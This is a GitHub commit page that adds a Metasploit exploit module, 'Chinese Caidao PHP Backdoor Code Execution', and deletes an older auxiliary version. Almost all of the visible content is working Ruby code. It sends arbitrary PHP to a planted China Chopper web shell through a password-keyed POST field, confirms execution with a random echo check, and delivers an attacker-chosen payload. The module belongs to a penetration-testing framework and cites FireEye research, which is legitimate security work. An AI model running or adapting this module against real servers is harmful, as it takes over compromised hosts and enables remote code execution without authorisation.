Skip to content

Commit 6c16d2a

Browse files
committed
caidao's exploit module
1 parent faf9be8 commit 6c16d2a

File tree

2 files changed

+75
-85
lines changed

2 files changed

+75
-85
lines changed

modules/auxiliary/gather/caidao_php_backdoor_exec.rb

Lines changed: 0 additions & 85 deletions
This file was deleted.
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
2+
##
3+
# This module requires Metasploit: http://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Chinese Caidao PHP Backdoor Code Execution',
17+
'Description' => %q{
18+
This module exploits chinese caidao php backdoor.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => ['Nixawk'],
22+
'References' =>
23+
[
24+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
25+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
26+
],
27+
'Payload' =>
28+
{
29+
'BadChars' => '\x00',
30+
},
31+
'Platform' => ['php'],
32+
'Arch' => ARCH_PHP,
33+
'Targets' =>
34+
[
35+
['Automatic', {}]
36+
],
37+
'Privileged' => false,
38+
'DisclosureDate' => 'Oct 27 2015',
39+
'DefaultTarget' => 0))
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
44+
OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
45+
], self.class)
46+
end
47+
48+
def http_send_command(code)
49+
res = send_request_cgi({
50+
'method' => 'POST',
51+
'uri' => normalize_uri(target_uri.path),
52+
'vars_post' => {
53+
"#{datastore['PASSWORD']}" => code
54+
}
55+
})
56+
unless res && res.code == 200
57+
fail_with(Failure::Unknown, 'Failed to execute the code.')
58+
end
59+
res
60+
end
61+
62+
def check
63+
flag = Rex::Text.rand_text_alpha(16)
64+
res = http_send_command("printf(\"#{flag}\");")
65+
if res && res.body =~ /#{flag}/m
66+
Exploit::CheckCode::Vulnerable
67+
else
68+
Exploit::CheckCode::Safe
69+
end
70+
end
71+
72+
def exploit
73+
http_send_command(payload.raw)
74+
end
75+
end

0 commit comments

Comments
 (0)